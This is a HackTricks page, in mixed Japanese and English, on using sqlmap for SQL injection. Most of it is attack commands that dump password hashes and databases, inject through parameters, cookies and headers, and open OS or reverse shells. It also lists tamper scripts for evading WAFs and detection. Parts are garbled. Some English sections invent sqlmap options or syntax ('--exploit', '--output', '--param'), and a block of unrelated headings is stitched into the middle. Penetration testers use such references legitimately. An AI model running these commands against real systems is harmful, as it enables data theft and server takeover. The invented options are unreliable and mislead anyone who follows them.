hacktricks/pentesting-web/sql-injection/sqlmap.md

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• サイバーセキュリティ会社で働いていますか？ HackTricksで会社を宣伝したいですか？または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか？SUBSCRIPTION PLANSをチェックしてください！

• The PEASS Familyを見つけてください。独占的なNFTのコレクションです。

• 公式のPEASS＆HackTricksのグッズを手に入れましょう。

• 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。

• ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。

SQLmapの基本的な引数

一般的な引数

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

情報の取得

内部

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DBデータ

The --dump option can be used to retrieve the data from the database. By default, it will dump all the tables in the database. However, you can specify the tables you want to dump using the --tables option.

$ sqlmap -u "http://example.com/vuln.php?id=1" --dump

This command will retrieve all the data from the database and display it in the console. You can also specify the output format using the --output option. For example, to save the data in a CSV file, you can use the following command:

$ sqlmap -u "http://example.com/vuln.php?id=1" --dump --output=data.csv

By default, sqlmap will retrieve all the columns from the tables. However, you can specify the columns you want to retrieve using the --columns option. For example, to retrieve only the username and password columns from the users table, you can use the following command:

$ sqlmap -u "http://example.com/vuln.php?id=1" --dump --tables=users --columns=username,password

This command will retrieve only the specified columns from the users table and display them in the console.

Remember to always use these techniques responsibly and with proper authorization.

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

インジェクション箇所

Burp/ZAPからのキャプチャ

リクエストをキャプチャし、req.txtファイルを作成します。

sqlmap -r req.txt --current-user

GETリクエストのインジェクション

In this section, we will discuss how to perform SQL injection attacks on GET requests using sqlmap.

このセクションでは、sqlmapを使用してGETリクエストに対してSQLインジェクション攻撃を行う方法について説明します。

Basic Usage

基本的な使用方法

To perform a SQL injection attack on a GET request, you can use the following command:

GETリクエストに対してSQLインジェクション攻撃を実行するには、次のコマンドを使用します。

sqlmap -u "http://example.com/page.php?id=1" --dbs

Replace the URL with the target URL that contains the vulnerable parameter. The --dbs option is used to enumerate the available databases.

脆弱なパラメータを含む対象のURLでURLを置き換えます。 --dbsオプションは利用可能なデータベースを列挙するために使用されます。

Enumerating Databases

データベースの列挙

To enumerate the databases, you can use the following command:

データベースを列挙するには、次のコマンドを使用します。

sqlmap -u "http://example.com/page.php?id=1" --dbs

This command will display a list of available databases.

このコマンドは利用可能なデータベースのリストを表示します。

Enumerating Tables

テーブルの列挙

To enumerate the tables in a specific database, you can use the following command:

特定のデータベース内のテーブルを列挙するには、次のコマンドを使用します。

sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables

Replace database_name with the name of the target database. This command will display a list of tables in the specified database.

database_nameを対象データベースの名前に置き換えます。このコマンドは指定したデータベース内のテーブルのリストを表示します。

Dumping Data

データのダンプ

To dump the data from a specific table, you can use the following command:

特定のテーブルからデータをダンプするには、次のコマンドを使用します。

sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump

Replace database_name with the name of the target database and table_name with the name of the target table. This command will dump the data from the specified table.

database_nameを対象データベースの名前に、table_nameを対象テーブルの名前に置き換えます。このコマンドは指定したテーブルからデータをダンプします。

Conclusion

結論

Performing SQL injection attacks on GET requests can be done using sqlmap. By enumerating databases, tables, and dumping data, you can extract sensitive information from vulnerable web applications.

GETリクエストに対するSQLインジェクション攻撃は、sqlmapを使用して行うことができます。データベースの列挙、テーブルの列挙、データのダンプを行うことで、脆弱なWebアプリケーションから機密情報を抽出することができます。

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POSTリクエストのインジェクション

In some cases, the target application may use POST requests to send data to the server. SQL injection can also be performed on these POST requests. SQLMap provides options to specify the POST data and the injection point.

いくつかの場合、対象のアプリケーションはデータをサーバーに送信するためにPOSTリクエストを使用する場合があります。これらのPOSTリクエストでもSQLインジェクションを実行することができます。SQLMapは、POSTデータとインジェクションポイントを指定するためのオプションを提供しています。

To perform a SQL injection on a POST request, you need to capture the request using a proxy tool like Burp Suite or OWASP ZAP. Once you have the request captured, you can use SQLMap to automatically detect and exploit the SQL injection vulnerability.

POSTリクエストでSQLインジェクションを実行するには、Burp SuiteやOWASP ZAPなどのプロキシツールを使用してリクエストをキャプチャする必要があります。リクエストをキャプチャしたら、SQLMapを使用してSQLインジェクションの脆弱性を自動的に検出し、攻撃することができます。

To specify the POST data, you can use the --data option followed by the POST data in the format param1=value1&param2=value2. You can also use the --data-file option to specify a file containing the POST data.

POSTデータを指定するには、--dataオプションを使用し、POSTデータをparam1=value1&param2=value2の形式で指定します。また、POSTデータが含まれるファイルを指定するには、--data-fileオプションを使用することもできます。

To specify the injection point, you can use the --param option followed by the parameter name. For example, --param username will specify the injection point as the username parameter.

インジェクションポイントを指定するには、--paramオプションを使用し、パラメータ名を指定します。例えば、--param usernameはインジェクションポイントをusernameパラメータとして指定します。

Once you have specified the POST data and the injection point, you can run SQLMap with the --data and --param options to perform the SQL injection on the POST request.

POSTデータとインジェクションポイントを指定したら、SQLMapを--dataオプションと--paramオプションと共に実行し、POSTリクエストに対してSQLインジェクションを実行することができます。

sqlmap -u "http://example.com" --data "username=*&password=*"

ヘッダーとその他のHTTPメソッドにおけるインジェクション

In some cases, it is possible to perform SQL injections not only in the request parameters but also in the headers or other HTTP methods. This can be useful when the application uses headers or other methods to pass data to the backend database.

いくつかのケースでは、SQLインジェクションをリクエストパラメータだけでなく、ヘッダーやその他のHTTPメソッドにも実行することができます。これは、アプリケーションがヘッダーやその他のメソッドを使用してバックエンドデータベースにデータを渡す場合に役立ちます。

Injection in Headers

User-Agent Header

The User-Agent header is commonly used by web browsers to identify themselves to the server. In some cases, it is possible to inject SQL code into this header and manipulate the backend database.

ユーザーエージェントヘッダーは、ウェブブラウザがサーバーに自身を識別するために一般的に使用されます。いくつかのケースでは、このヘッダーにSQLコードをインジェクションし、バックエンドデータベースを操作することが可能です。

To test for SQL injection in the User-Agent header, you can use the following command:

ユーザーエージェントヘッダーに対するSQLインジェクションをテストするには、次のコマンドを使用できます。

sqlmap -u "http://example.com" --headers="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'; SELECT SLEEP(5)-- -"

Referer Header

The Referer header is used to indicate the URL of the page that linked to the current page. Similar to the User-Agent header, it is possible to inject SQL code into this header and manipulate the backend database.

リファラヘッダーは、現在のページにリンクしたページのURLを示すために使用されます。ユーザーエージェントヘッダーと同様に、このヘッダーにSQLコードをインジェクションし、バックエンドデータベースを操作することが可能です。

To test for SQL injection in the Referer header, you can use the following command:

リファラヘッダーに対するSQLインジェクションをテストするには、次のコマンドを使用できます。

sqlmap -u "http://example.com" --headers="Referer: http://example.com'; SELECT SLEEP(5)-- -"

Injection in Other HTTP Methods

Apart from GET and POST requests, there are other HTTP methods that can be used to send data to the server. These methods include PUT, DELETE, OPTIONS, HEAD, and more. It is possible to inject SQL code into these methods and manipulate the backend database.

GETとPOSTリクエスト以外にも、データをサーバーに送信するために使用できる他のHTTPメソッドがあります。これらのメソッドには、PUT、DELETE、OPTIONS、HEADなどがあります。これらのメソッドにSQLコードをインジェクションし、バックエンドデータベースを操作することが可能です。

To test for SQL injection in other HTTP methods, you can use the following command:

他のHTTPメソッドに対するSQLインジェクションをテストするには、次のコマンドを使用できます。

sqlmap -u "http://example.com" --method=PUT --data="param1=value1&param2=value2'; SELECT SLEEP(5)-- -"

Remember to replace the URL, headers, and data with the appropriate values for your target application.

対象のアプリケーションに適切な値でURL、ヘッダー、およびデータを置き換えることを忘れないでください。

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

セカンドオーダーインジェクション

A second order injection occurs when user input is stored in a database or other data storage system, and later used in a different context without proper sanitization or validation. This can lead to SQL injection vulnerabilities that are not immediately apparent during the initial input, but can be exploited later on.

セカンドオーダーインジェクションは、ユーザーの入力がデータベースや他のデータストレージシステムに保存され、後で適切なサニタイズやバリデーションなしに別のコンテキストで使用される場合に発生します。これにより、最初の入力時にはすぐには明らかにならないSQLインジェクションの脆弱性が生じる可能性がありますが、後で悪用される可能性があります。

For example, let's say a web application allows users to submit comments that are stored in a database. The application then retrieves these comments and displays them on a webpage. If the application does not properly sanitize or validate the comments before displaying them, an attacker could inject malicious SQL code into their comment. This code would then be stored in the database and executed when the comments are displayed on the webpage, potentially leading to unauthorized access or data leakage.

たとえば、ウェブアプリケーションがユーザーにコメントを提出することを許可し、これらのコメントがデータベースに保存されるとします。その後、アプリケーションはこれらのコメントを取得し、ウェブページ上に表示します。アプリケーションがコメントを表示する前に適切にサニタイズやバリデーションを行わない場合、攻撃者はコメントに悪意のあるSQLコードをインジェクションすることができます。このコードはデータベースに保存され、コメントがウェブページ上に表示される際に実行されるため、不正なアクセスやデータの漏洩の可能性があります。

To detect and exploit second order injection vulnerabilities, tools like SQLMap can be used. These tools analyze the application's behavior and attempt to inject malicious SQL code to test for vulnerabilities. By identifying and fixing these vulnerabilities, developers can ensure the security of their applications and protect against potential attacks.

セカンドオーダーインジェクションの脆弱性を検出し、悪用するためには、SQLMapなどのツールを使用することができます。これらのツールはアプリケーションの動作を分析し、脆弱性をテストするために悪意のあるSQLコードをインジェクションしようとします。これらの脆弱性を特定し修正することで、開発者はアプリケーションのセキュリティを確保し、潜在的な攻撃から保護することができます。

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

シェル

Shellコマンドを実行するために、SQLMapはいくつかのオプションを提供しています。以下にいくつかの一般的なオプションを示します。

--os-shell

このオプションを使用すると、SQLMapはOSシェルを開きます。これにより、対象のシステムでコマンドを実行することができます。

sqlmap -u <target> --os-shell

--sql-shell

このオプションを使用すると、SQLMapはSQLシェルを開きます。これにより、対象のデータベースに対してSQLクエリを実行することができます。

sqlmap -u <target> --sql-shell

--os-pwn

このオプションを使用すると、SQLMapは対象のシステムを完全に乗っ取ります。これにより、対象のシステムで任意のコマンドを実行することができます。

sqlmap -u <target> --os-pwn

--os-bof

このオプションを使用すると、SQLMapは対象のシステムでバッファオーバーフローを引き起こします。これにより、対象のシステムをクラッシュさせることができます。

sqlmap -u <target> --os-bof

これらのオプションを使用する際には、慎重に行動し、法的な制約を遵守することを忘れないでください。

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

SQLmapを使用してウェブサイトをクロールし、自動的にエクスプロイトする

SQLmap is a powerful tool for automating the process of detecting and exploiting SQL injection vulnerabilities in web applications. In this section, we will learn how to use SQLmap to crawl a website and automatically exploit any SQL injection vulnerabilities that are found.

SQLmapは、ウェブアプリケーションのSQLインジェクション脆弱性を検出し、エクスプロイトするプロセスを自動化する強力なツールです。このセクションでは、SQLmapを使用してウェブサイトをクロールし、見つかったSQLインジェクション脆弱性を自動的にエクスプロイトする方法を学びます。

Crawling a website with SQLmap

SQLmap has a built-in feature that allows it to crawl a website and discover all the available pages. This can be useful when you want to identify potential targets for SQL injection attacks.

To crawl a website with SQLmap, you can use the following command:

sqlmap -u <target_url> --crawl=<depth>

• <target_url>: The URL of the website you want to crawl.
• <depth>: The depth of the crawling process (optional). By default, SQLmap will crawl up to a depth of 3.

For example, to crawl a website at http://example.com up to a depth of 5, you can use the following command:

sqlmap -u http://example.com --crawl=5

Auto-exploiting SQL injection vulnerabilities

Once SQLmap has crawled a website and identified SQL injection vulnerabilities, it can automatically exploit them to extract data from the database or perform other malicious actions.

To auto-exploit SQL injection vulnerabilities with SQLmap, you can use the following command:

sqlmap -u <target_url> --exploit=<exploit_options>

• <target_url>: The URL of the website with the SQL injection vulnerability.
• <exploit_options>: Additional options to customize the exploitation process (optional).

For example, to auto-exploit a SQL injection vulnerability on http://example.com/vulnerable.php?id=1, you can use the following command:

sqlmap -u http://example.com/vulnerable.php?id=1 --exploit

SQLmap will automatically detect and exploit the SQL injection vulnerability, allowing you to retrieve data from the database or perform other actions as specified by the exploit options.

Conclusion

By using SQLmap to crawl a website and auto-exploit SQL injection vulnerabilities, you can efficiently identify and exploit potential security weaknesses in web applications. However, it is important to always obtain proper authorization before performing any penetration testing activities.

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

You can customize the injection by setting a suffix.

To set a suffix, use the --suffix option followed by the desired suffix value.

For example, to set the suffix as ' OR '1'='1'--, you can use the following command:

sqlmap -u <target_url> --suffix="' OR '1'='1'--"

This will append the suffix to the injected payload, allowing you to modify the behavior of the injection.

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

プレフィックス

---

Target

---

ターゲット

---

Introduction

---

イントロダクション

---

SQL Injection

---

SQLインジェクション

---

SQLMap

---

SQLMap

---

Installation

---

インストール

---

Basic Usage

---

基本的な使用方法

---

Detecting SQL Injection Vulnerabilities

---

SQLインジェクションの脆弱性の検出

---

Enumerating Databases

---

データベースの列挙

---

Enumerating Tables

---

テーブルの列挙

---

Enumerating Columns

---

列の列挙

---

Dumping Data

---

データのダンプ

---

Exploiting SQL Injection Vulnerabilities

---

SQLインジェクションの脆弱性の悪用

---

Command Execution

---

コマンドの実行

---

OS Shell

---

OSシェル

---

File Read/Write

---

ファイルの読み書き

---

Privilege Escalation

---

特権の昇格

---

Conclusion

---

結論

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

ブールインジェクションの検出方法のヘルプ

Boolean-based SQL injection（ブールベースのSQLインジェクション）は、Webアプリケーションのセキュリティテスト中によく使用されるテクニックです。この攻撃は、真偽値（trueまたはfalse）を使用してSQLクエリの結果を制御することによって、データベースから情報を抽出します。

以下は、ブールインジェクションを検出するための手順です。

1. ユーザー入力の特定の箇所を特定します。これは、URLパラメータ、フォームフィールド、またはクッキーなどの場所に存在する可能性があります。

2. 特定したユーザー入力を使用して、SQLクエリを実行する場所を特定します。これは、データベースクエリを実行するコードの一部である可能性があります。

3. 特定したユーザー入力を使用して、SQLクエリにブール演算子（AND、OR、NOT）を挿入します。これにより、クエリの結果を制御できます。

4. クエリの結果に基づいて、真偽値を使用して条件を評価します。例えば、クエリが真の場合は正常な応答が返され、偽の場合はエラーメッセージが表示されるかもしれません。

5. ブールインジェクションが成功した場合、データベースから情報を抽出するための適切な真偽値を特定します。

ブールインジェクションは、データベースの機密情報を漏洩させる可能性があるため、セキュリティ上の重大な脆弱性です。セキュリティテスト中にこのテクニックを使用する際には、慎重に行う必要があります。

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

タンパー

Tampering is a technique used to modify the behavior of SQLMap's payloads in order to bypass security measures or evade detection. SQLMap provides a variety of tamper scripts that can be used to alter the SQL injection payloads.

タンパリングは、セキュリティ対策を回避したり検出を回避するために、SQLMapのペイロードの動作を変更するための技術です。SQLMapは、SQLインジェクションのペイロードを変更するために使用できるさまざまなタンパースクリプトを提供しています。

To use a tamper script, you can specify it using the --tamper option followed by the name of the script. For example:

タンパースクリプトを使用するには、スクリプトの名前を指定するために--tamperオプションを使用します。例えば：

sqlmap -u http://example.com/index.php?id=1 --tamper=space2comment

This command will use the space2comment tamper script to modify the SQL injection payloads.

このコマンドは、SQLインジェクションのペイロードを変更するためにspace2commentタンパースクリプトを使用します。

You can also use multiple tamper scripts by separating them with a comma:

カンマで区切って複数のタンパースクリプトを使用することもできます。

sqlmap -u http://example.com/index.php?id=1 --tamper=space2comment,randomcase

In this example, both the space2comment and randomcase tamper scripts will be applied to the SQL injection payloads.

この例では、space2commentとrandomcaseの両方のタンパースクリプトがSQLインジェクションのペイロードに適用されます。

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper

Tamper	説明
apostrophemask.py	アポストロフィ文字をそのUTF-8全角対応文字に置き換えます
apostrophenullencode.py	アポストロフィ文字をその不正なダブルユニコード対応文字に置き換えます
appendnullbyte.py	ペイロードの末尾にエンコードされたNULLバイト文字を追加します
base64encode.py	指定されたペイロード内のすべての文字をBase64でエンコードします
between.py	大なり演算子 '>' を 'NOT BETWEEN 0 AND #' に置き換えます
bluecoat.py	SQL文の後にあるスペース文字を有効なランダムな空白文字に置き換えます。その後、文字 = をLIKE演算子に置き換えます
chardoubleencode.py	指定されたペイロード内のすべての文字をダブルURLエンコードします（すでにエンコードされているものは処理しません）
commalesslimit.py	'LIMIT M, N' のようなインスタンスを 'LIMIT N OFFSET M' に置き換えます
commalessmid.py	'MID(A, B, C)' のようなインスタンスを 'MID(A FROM B FOR C)' に置き換えます
concat2concatws.py	'CONCAT(A, B)' のようなインスタンスを 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' に置き換えます
charencode.py	指定されたペイロード内のすべての文字をURLエンコードします（すでにエンコードされているものは処理しません）
charunicodeencode.py	指定されたペイロード内の非エンコード文字をUnicode URLエンコードします（すでにエンコードされているものは処理しません）。"%u0022"
charunicodeescape.py	指定されたペイロード内の非エンコード文字をUnicode URLエンコードします（すでにエンコードされているものは処理しません）。"\u0022"
equaltolike.py	すべての等号演算子 '=' を 'LIKE' 演算子に置き換えます
escapequotes.py	クォート文字 ' and " をスラッシュでエスケープします
greatest.py	大なり演算子 '>' を 'GREATEST' に置き換えます
halfversionedmorekeywords.py	各キーワードの前にバージョン付きのMySQLコメントを追加します
ifnull2ifisnull.py	'IFNULL(A, B)' のようなインスタンスを 'IF(ISNULL(A), B, A)' に置き換えます
modsecurityversioned.py	バージョン付きコメントでクエリ全体を囲みます
modsecurityzeroversioned.py	ゼロバージョンのコメントでクエリ全体を囲みます
multiplespaces.py	SQLキーワードの周りに複数のスペースを追加します
nonrecursivereplacement.py	事前定義されたSQLキーワードを置換に適した表現に置き換えます（例：.replace("SELECT", ""))フィルター
percentage.py	各文字の前にパーセント記号 '%' を追加します
overlongutf8.py	指定されたペイロード内のすべての文字を変換します（すでにエンコードされているものは処理しません）
randomcase.py	各キーワード文字をランダムな大文字/小文字の値に置き換えます
randomcomments.py	SQLキーワードにランダムなコメントを追加します
securesphere.py	特別に作成された文字列を追加します
sp_password.py	ペイロードの末尾に 'sp_password' を追加して、DBMSログからの自動的な曖昧化を行います
space2comment.py	スペース文字 ' ' をコメントに置き換えます
space2dash.py	スペース文字 ' ' をダッシュコメント '--' に置き換え、その後にランダムな文字列と改行 '\n' を追加します
space2hash.py	スペース文字 ' ' をパウンド文字 '\#' に置き換え、その後にランダムな文字列と改行 '\n' を追加します
space2morehash.py	スペース文字 ' ' をパウンド文字 '\#' に置き換え、その後にランダムな文字列と改行 '\n' を追加します
space2mssqlblank.py	スペース文字 ' ' を有効な代替文字のセットからのランダムな空白文字に置き換えます
space2mssqlhash.py	スペース文字 ' ' をパウンド文字 '\#' に置き換え、改行 '\n' を追加します
space2mysqlblank.py	スペース文字 ' ' を有効な代替文字のセットからのランダムな空白文字に置き換えます
space2mysqldash.py	スペース文字 ' ' をダッシュコメント '--' に置き換え、改行 '\n' を追加します
space2plus.py	スペース文字 ' ' をプラス '+' に置き換えます
space2randomblank.py	スペース文字 ' ' を有効な代替文字のセットからのランダムな空白文字に置き換えます
symboliclogical.py	ANDおよびOR論理演算子をそれぞれのシンボルに置き換えます (&& および
unionalltounion.py	UNION ALL SELECT を UNION SELECT に置き換えます
unmagicquotes.py	クォート文字 ' をマルチバイトコンボ %bf%27 と一緒にジェネリックコメントで置き換えます（動作させるために最後に）
uppercase.py	各キーワード文字を大文字に置き換えます 'INSERT'
varnish.py	HTTPヘッダー 'X-originating-IP' を追加します
versionedkeywords.py	関数でない各キーワードをバージョン付きのMySQLコメントで囲みます
versionedmorekeywords.py	各キーワードをバージョン付きのMySQLコメントで囲みます
xforwardedfor.py	偽のHTTPヘッダー 'X-Forwarded-For' を追加します

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• サイバーセキュリティ企業で働いていますか？ HackTricksで会社を宣伝したいですか？または、PEASSの最新バージョンを入手したいですか？または、HackTricksをPDFでダウンロードしたいですか？SUBSCRIPTION PLANSをチェックしてください！

• The PEASS Familyを発見しましょう、独占的なNFTのコレクションです。

• 公式のPEASS＆HackTricksのグッズを手に入れましょう。

• 💬 Discordグループまたは[テレグラムグループ](https://t.me/